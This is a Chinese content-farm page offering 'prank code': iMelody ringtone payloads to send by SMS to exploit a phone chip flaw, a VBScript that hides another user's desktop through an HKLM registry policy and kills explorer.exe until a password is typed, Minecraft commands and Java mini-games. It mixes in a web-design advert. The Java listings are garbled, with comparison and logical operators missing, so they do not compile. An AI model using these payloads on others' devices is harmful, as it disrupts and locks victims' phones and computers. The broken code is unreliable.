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java整蠱代碼大全,惡搞整人代碼

給段最簡(jiǎn)單的java代碼 讓我新手看一下

最簡(jiǎn)單的java代碼肯定就是這個(gè)了,如下:

湖南網(wǎng)站建設(shè)公司創(chuàng)新互聯(lián),湖南網(wǎng)站設(shè)計(jì)制作,有大型網(wǎng)站制作公司豐富經(jīng)驗(yàn)。已為湖南近千家提供企業(yè)網(wǎng)站建設(shè)服務(wù)。企業(yè)網(wǎng)站搭建\外貿(mào)營(yíng)銷網(wǎng)站建設(shè)要多少錢(qián),請(qǐng)找那個(gè)售后服務(wù)好的湖南做網(wǎng)站的公司定做!

public class MyFirstApp

{

public static void main(String[] args)

{

System.out.print("Hello world");

}

}

“hello world”就是應(yīng)該是所有學(xué)java的新手看的第一個(gè)代碼了。如果是零基礎(chǔ)的新手朋友們可以來(lái)我們的java實(shí)驗(yàn)班試聽(tīng),有免費(fèi)的試聽(tīng)課程幫助學(xué)習(xí)java必備基礎(chǔ)知識(shí),有助教老師為零基礎(chǔ)的人提供個(gè)人學(xué)習(xí)方案,學(xué)習(xí)完成后有考評(píng)團(tuán)進(jìn)行專業(yè)測(cè)試,幫助測(cè)評(píng)學(xué)員是否適合繼續(xù)學(xué)習(xí)java,15天內(nèi)免費(fèi)幫助來(lái)報(bào)名體驗(yàn)實(shí)驗(yàn)班的新手快速入門(mén)java,更好的學(xué)習(xí)java!

安卓手機(jī)整人代碼java大全

BEGBEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

COMPOSER:MIK(23)Fomat

BEAT:180

MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff

("+melody+"@9999999999999999999999999)"

手機(jī)黑屏代碼

BEGIN:IMELODY

BEAT:1200

MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)

END:IMELODY

手機(jī)狂震代碼

BEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

BEAT:100

MELODY:(ledoffledonbackoffbackonvibeon@0)

END:IMELODY

說(shuō)明

1 “@”后面的數(shù)字越大,重復(fù)次數(shù)越多

2把上面代碼復(fù)制,在計(jì)算機(jī)上保存為.txt文本文件,再改名為 .imy 文件

3 imy 放到手機(jī)里的Audio文件夾

4寫(xiě)短信(不是彩信) 寫(xiě)短信時(shí), 插入鈴聲對(duì)象(自定義鈴聲對(duì)象,就是剛才放在audio 里的imy 文件) 并發(fā)送, 對(duì)方只要是存在這個(gè)芯片漏洞,那么則會(huì)產(chǎn)生上述所說(shuō)效果.

我的世界整人指令是什么?

我的世界惡作劇整人指令如下:

1、指令 /nick ID-名稱-給某人改一個(gè)名,ID是加白名單的名字。

2、/backup-運(yùn)行備份命令。

3、/fireball-發(fā)射一個(gè)火球(會(huì)破壞方塊)。

4、/heal name-治療某人。

5、/invsee name-查看某人的包裹。

6、/lingtning name-天譴(不填寫(xiě)名字會(huì)雷擊鼠標(biāo)指向的地方)。

7、/mute name-禁言某人。

8、/ping-讓單位走路發(fā)出乒乓聲。

9、/seen name-查看某人最后退出的時(shí)間。

10、/tp name1 name2-將人物1傳送至人物2身旁。

11、/tp name-將自己傳送至某人身旁。

12、/tphere name-將某人傳送至自己身旁。

13、/tpall-將服務(wù)器內(nèi)的所有人傳送至自己身旁(大傳送陣)。

求一段電腦整蠱代碼

set ws = wscript.createobject("wscript.shell")

if msgbox("純屬娛樂(lè)!just for fun!",4132,"絕對(duì)無(wú)毒無(wú)害!你準(zhǔn)備好了嗎?")=vbyes then

msgbox"OK!"

else

ws.popup"那也沒(méi)辦法!接招吧!",3

ws.popup"等會(huì)的解除密碼在網(wǎng)盤(pán)里,自己下載,祝你愉快!",3

end if

ws.run" "

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000

ws.run "explorer.exe",vbhide : wscript.sleep 6000

do

a=inputbox("請(qǐng)輸入密碼解除","注意,重啟電腦是沒(méi)有用的!")

if a="我真笨啊" then

msgbox"密碼正確!",vbinformation

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide

wscript.sleep 2000

ws.run "explorer.exe",vbhide

msgbox"解除成功!"

exit do

else

msgbox"看你不下載,密碼錯(cuò)誤!請(qǐng)重試 !"

end if

loop

跪地求好玩的JAVA 源代碼~

連連看java源代碼

import javax.swing.*;

import java.awt.*;

import java.awt.event.*;

public class lianliankan implements ActionListener

{

JFrame mainFrame; //主面板

Container thisContainer;

JPanel centerPanel,southPanel,northPanel; //子面板

JButton diamondsButton[][] = new JButton[6][5];//游戲按鈕數(shù)組

JButton exitButton,resetButton,newlyButton; //退出,重列,重新開(kāi)始按鈕

JLabel fractionLable=new JLabel("0"); //分?jǐn)?shù)標(biāo)簽

JButton firstButton,secondButton; //分別記錄兩次被選中的按鈕

int grid[][] = new int[8][7];//儲(chǔ)存游戲按鈕位置

static boolean pressInformation=false; //判斷是否有按鈕被選中

int x0=0,y0=0,x=0,y=0,fristMsg=0,secondMsg=0,validateLV; //游戲按鈕的位置坐標(biāo)

int i,j,k,n;//消除方法控制

public void init(){

mainFrame=new JFrame("JKJ連連看");

thisContainer = mainFrame.getContentPane();

thisContainer.setLayout(new BorderLayout());

centerPanel=new JPanel();

southPanel=new JPanel();

northPanel=new JPanel();

thisContainer.add(centerPanel,"Center");

thisContainer.add(southPanel,"South");

thisContainer.add(northPanel,"North");

centerPanel.setLayout(new GridLayout(6,5));

for(int cols = 0;cols 6;cols++){

for(int rows = 0;rows 5;rows++ ){

diamondsButton[cols][rows]=new JButton(String.valueOf(grid[cols+1][rows+1]));

diamondsButton[cols][rows].addActionListener(this);

centerPanel.add(diamondsButton[cols][rows]);

}

}

exitButton=new JButton("退出");

exitButton.addActionListener(this);

resetButton=new JButton("重列");

resetButton.addActionListener(this);

newlyButton=new JButton("再來(lái)一局");

newlyButton.addActionListener(this);

southPanel.add(exitButton);

southPanel.add(resetButton);

southPanel.add(newlyButton);

fractionLable.setText(String.valueOf(Integer.parseInt(fractionLable.getText())));

northPanel.add(fractionLable);

mainFrame.setBounds(280,100,500,450);

mainFrame.setVisible(true);

}

public void randomBuild() {

int randoms,cols,rows;

for(int twins=1;twins=15;twins++) {

randoms=(int)(Math.random()*25+1);

for(int alike=1;alike=2;alike++) {

cols=(int)(Math.random()*6+1);

rows=(int)(Math.random()*5+1);

while(grid[cols][rows]!=0) {

cols=(int)(Math.random()*6+1);

rows=(int)(Math.random()*5+1);

}

this.grid[cols][rows]=randoms;

}

}

}

public void fraction(){

fractionLable.setText(String.valueOf(Integer.parseInt(fractionLable.getText())+100));

}

public void reload() {

int save[] = new int[30];

int n=0,cols,rows;

int grid[][]= new int[8][7];

for(int i=0;i=6;i++) {

for(int j=0;j=5;j++) {

if(this.grid[i][j]!=0) {

save[n]=this.grid[i][j];

n++;

}

}

}

n=n-1;

this.grid=grid;

while(n=0) {

cols=(int)(Math.random()*6+1);

rows=(int)(Math.random()*5+1);

while(grid[cols][rows]!=0) {

cols=(int)(Math.random()*6+1);

rows=(int)(Math.random()*5+1);

}

this.grid[cols][rows]=save[n];

n--;

}

mainFrame.setVisible(false);

pressInformation=false; //這里一定要將按鈕點(diǎn)擊信息歸為初始

init();

for(int i = 0;i 6;i++){

for(int j = 0;j 5;j++ ){

if(grid[i+1][j+1]==0)

diamondsButton[i][j].setVisible(false);

}

}

}

public void estimateEven(int placeX,int placeY,JButton bz) {

if(pressInformation==false) {

x=placeX;

y=placeY;

secondMsg=grid[x][y];

secondButton=bz;

pressInformation=true;

}

else {

x0=x;

y0=y;

fristMsg=secondMsg;

firstButton=secondButton;

x=placeX;

y=placeY;

secondMsg=grid[x][y];

secondButton=bz;

if(fristMsg==secondMsg secondButton!=firstButton){

xiao();

}

}

}

public void xiao() { //相同的情況下能不能消去。仔細(xì)分析,不一條條注釋

if((x0==x (y0==y+1||y0==y-1)) || ((x0==x+1||x0==x-1)(y0==y))){ //判斷是否相鄰

remove();

}

else{

for (j=0;j7;j++ ) {

if (grid[x0][j]==0){ //判斷第一個(gè)按鈕同行哪個(gè)按鈕為空

if (yj) { //如果第二個(gè)按鈕的Y坐標(biāo)大于空按鈕的Y坐標(biāo)說(shuō)明第一按鈕在第二按鈕左邊

for (i=y-1;i=j;i-- ){ //判斷第二按鈕左側(cè)直到第一按鈕中間有沒(méi)有按鈕

if (grid[x][i]!=0) {

k=0;

break;

}

else{ k=1; } //K=1說(shuō)明通過(guò)了第一次驗(yàn)證

}

if (k==1) {

linePassOne();

}

}

if (yj){ //如果第二個(gè)按鈕的Y坐標(biāo)小于空按鈕的Y坐標(biāo)說(shuō)明第一按鈕在第二按鈕右邊

for (i=y+1;i=j ;i++ ){ //判斷第二按鈕左側(cè)直到第一按鈕中間有沒(méi)有按鈕

if (grid[x][i]!=0){

k=0;

break;

}

else { k=1; }

}

if (k==1){

linePassOne();

}

}

if (y==j ) {

linePassOne();

}

}

if (k==2) {

if (x0==x) {

remove();

}

if (x0x) {

for (n=x0;n=x-1;n++ ) {

if (grid[n][j]!=0) {

k=0;

break;

}

if(grid[n][j]==0 n==x-1) {

remove();

}

}

}

if (x0x) {

for (n=x0;n=x+1 ;n-- ) {

if (grid[n][j]!=0) {

k=0;

break;

}

if(grid[n][j]==0 n==x+1) {

remove();

}

}

}

}

}

for (i=0;i8;i++ ) { //列

if (grid[i][y0]==0) {

if (xi) {

for (j=x-1;j=i ;j-- ) {

if (grid[j][y]!=0) {

k=0;

break;

}

else { k=1; }

}

if (k==1) {

rowPassOne();

}

}

if (xi) {

for (j=x+1;j=i;j++ ) {

if (grid[j][y]!=0) {

k=0;

break;

}

else { k=1; }

}

if (k==1) {

rowPassOne();

}

}

if (x==i) {

rowPassOne();

}

}

if (k==2){

if (y0==y) {

remove();

}

if (y0y) {

for (n=y0;n=y-1 ;n++ ) {

if (grid[i][n]!=0) {

k=0;

break;

}

if(grid[i][n]==0 n==y-1) {

remove();

}

}

}

if (y0y) {

for (n=y0;n=y+1 ;n--) {

if (grid[i][n]!=0) {

k=0;

break;

}

if(grid[i][n]==0 n==y+1) {

remove();

}

}

}

}

}

}

}

public void linePassOne(){

if (y0j){ //第一按鈕同行空按鈕在左邊

for (i=y0-1;i=j ;i-- ){ //判斷第一按鈕同左側(cè)空按鈕之間有沒(méi)按鈕

if (grid[x0][i]!=0) {

k=0;

break;

}

else { k=2; } //K=2說(shuō)明通過(guò)了第二次驗(yàn)證

}

}

if (y0j){ //第一按鈕同行空按鈕在與第二按鈕之間

for (i=y0+1;i=j ;i++){

if (grid[x0][i]!=0) {

k=0;

break;

}

else{ k=2; }

}

}

}

public void rowPassOne(){

if (x0i) {

for (j=x0-1;j=i ;j-- ) {

if (grid[j][y0]!=0) {

k=0;

break;

}

else { k=2; }

}

}

if (x0i) {

for (j=x0+1;j=i ;j++ ) {

if (grid[j][y0]!=0) {

k=0;

break;

}

else { k=2; }

}

}

}

public void remove(){

firstButton.setVisible(false);

secondButton.setVisible(false);

fraction();

pressInformation=false;

k=0;

grid[x0][y0]=0;

grid[x][y]=0;

}

public void actionPerformed(ActionEvent e) {

if(e.getSource()==newlyButton){

int grid[][] = new int[8][7];

this.grid = grid;

randomBuild();

mainFrame.setVisible(false);

pressInformation=false;

init();

}

if(e.getSource()==exitButton)

System.exit(0);

if(e.getSource()==resetButton)

reload();

for(int cols = 0;cols 6;cols++){

for(int rows = 0;rows 5;rows++ ){

if(e.getSource()==diamondsButton[cols][rows])

estimateEven(cols+1,rows+1,diamondsButton[cols][rows]);

}

}

}

public static void main(String[] args) {

lianliankan llk = new lianliankan();

llk.randomBuild();

llk.init();

}

}

//old 998 lines

//new 318 lines

基于JAVA的3D坦克游戲源代碼

JAVA猜數(shù)字小游戲源代碼

/*1、編寫(xiě)一個(gè)猜數(shù)字的游戲,由電腦隨機(jī)產(chǎn)生一個(gè)100以內(nèi)的整數(shù),讓用戶去猜,如果用戶猜的比電腦大,則輸出“大了,再小點(diǎn)!”,反之則輸出“小了,再大點(diǎn)!”,用戶總共只能猜十次,并根據(jù)用戶正確猜出答案所用的次數(shù)輸出相應(yīng)的信息,如:只用一次就猜對(duì),輸出“你是個(gè)天才!”,八次才猜對(duì),輸出“笨死了!”,如果十次還沒(méi)有猜對(duì),則游戲結(jié)束!*/

import java.util.*;

import java.io.*;

public class CaiShu{

public static void main(String[] args) throws IOException{

Random a=new Random();

int num=a.nextInt(100);

System.out.println("請(qǐng)輸入一個(gè)100以內(nèi)的整數(shù):");

for (int i=0;i=9;i++){

BufferedReader bf=new BufferedReader(new InputStreamReader(System.in));

String str=bf.readLine();

int shu=Integer.parseInt(str);

if (shunum)

System.out.println("輸入的數(shù)大了,輸小點(diǎn)的!");

else if (shunum)

System.out.println("輸入的數(shù)小了,輸大點(diǎn)的!");

else {

System.out.println("恭喜你,猜對(duì)了!");

if (i=2)

System.out.println("你真是個(gè)天才!");

else if (i=6)

System.out.println("還將就,你過(guò)關(guān)了!");

else if (i=8)

System.out.println("但是你還……真笨!");

else

System.out.println("你和豬沒(méi)有兩樣了!");

break;}

}

}

}

求一個(gè)簡(jiǎn)單又有趣的JAVA小游戲代碼

具體如下:

連連看的小源碼

package Lianliankan;

import javax.swing.*;

import java.awt.*;

import java.awt.event.*;

public class lianliankan implements ActionListener

{

JFrame mainFrame; //主面板

Container thisContainer;

JPanel centerPanel,southPanel,northPanel; //子面板

JButton diamondsButton[][] = new JButton[6][5];//游戲按鈕數(shù)組

JButton exitButton,resetButton,newlyButton; //退出,重列,重新開(kāi)始按鈕

JLabel fractionLable=new JLabel("0"); //分?jǐn)?shù)標(biāo)簽

JButton firstButton,secondButton; //

分別記錄兩次62616964757a686964616fe59b9ee7ad9431333335326239被選中的按鈕

int grid[][] = new int[8][7];//儲(chǔ)存游戲按鈕位置

static boolean pressInformation=false; //判斷是否有按鈕被選中

int x0=0,y0=0,x=0,y=0,fristMsg=0,secondMsg=0,validateLV; //游戲按鈕的位置坐標(biāo)

int i,j,k,n;//消除方法控制

代碼(code)是程序員用開(kāi)發(fā)工具所支持的語(yǔ)言寫(xiě)出來(lái)的源文件,是一組由字符、符號(hào)或信號(hào)碼元以離散形式表示信息的明確的規(guī)則體系。

對(duì)于字符和Unicode數(shù)據(jù)的位模式的定義,此模式代表特定字母、數(shù)字或符號(hào)(例如 0x20 代表一個(gè)空格,而 0x74 代表字符“t”)。一些數(shù)據(jù)類型每個(gè)字符使用一個(gè)字節(jié);每個(gè)字節(jié)可以具有 256 個(gè)不同的位模式中的一個(gè)模式。

在計(jì)算機(jī)中,字符由不同的位模式(ON 或 OFF)表示。每個(gè)字節(jié)有 8 位,這 8 位可以有 256 種不同的 ON 和 OFF 組合模式。對(duì)于使用 1 個(gè)字節(jié)存儲(chǔ)每個(gè)字符的程序,通過(guò)給每個(gè)位模式指派字符可表示最多 256 個(gè)不同的字符。2 個(gè)字節(jié)有 16 位,這 16 位可以有 65,536 種唯一的 ON 和 OFF 組合模式。使用 2 個(gè)字節(jié)表示每個(gè)字符的程序可表示最多 65,536 個(gè)字符。

單字節(jié)代碼頁(yè)是字符定義,這些字符映射到每個(gè)字節(jié)可能有的 256 種位模式中的每一種。代碼頁(yè)定義大小寫(xiě)字符、數(shù)字、符號(hào)以及 !、@、#、% 等特殊字符的位模式。每種歐洲語(yǔ)言(如德語(yǔ)和西班牙語(yǔ))都有各自的單字節(jié)代碼頁(yè)。

雖然用于表示 A 到 Z 拉丁字母表字符的位模式在所有的代碼頁(yè)中都相同,但用于表示重音字符(如"é"和"á")的位模式在不同的代碼頁(yè)中卻不同。如果在運(yùn)行不同代碼頁(yè)的計(jì)算機(jī)間交換數(shù)據(jù),必須將所有字符數(shù)據(jù)由發(fā)送計(jì)算機(jī)的代碼頁(yè)轉(zhuǎn)換為接收計(jì)算機(jī)的代碼頁(yè)。如果源數(shù)據(jù)中的擴(kuò)展字符在接收計(jì)算機(jī)的代碼頁(yè)中未定義,那么數(shù)據(jù)將丟失。

如果某個(gè)數(shù)據(jù)庫(kù)為來(lái)自許多不同國(guó)家的客戶端提供服務(wù),則很難為該數(shù)據(jù)庫(kù)選擇這樣一種代碼頁(yè),使其包括所有客戶端計(jì)算機(jī)所需的全部擴(kuò)展字符。而且,在代碼頁(yè)間不停地轉(zhuǎn)換需要花費(fèi)大量的處理時(shí)間。

網(wǎng)站欄目:java整蠱代碼大全,惡搞整人代碼
分享路徑:http://chinadenli.net/article12/dsijsdc.html

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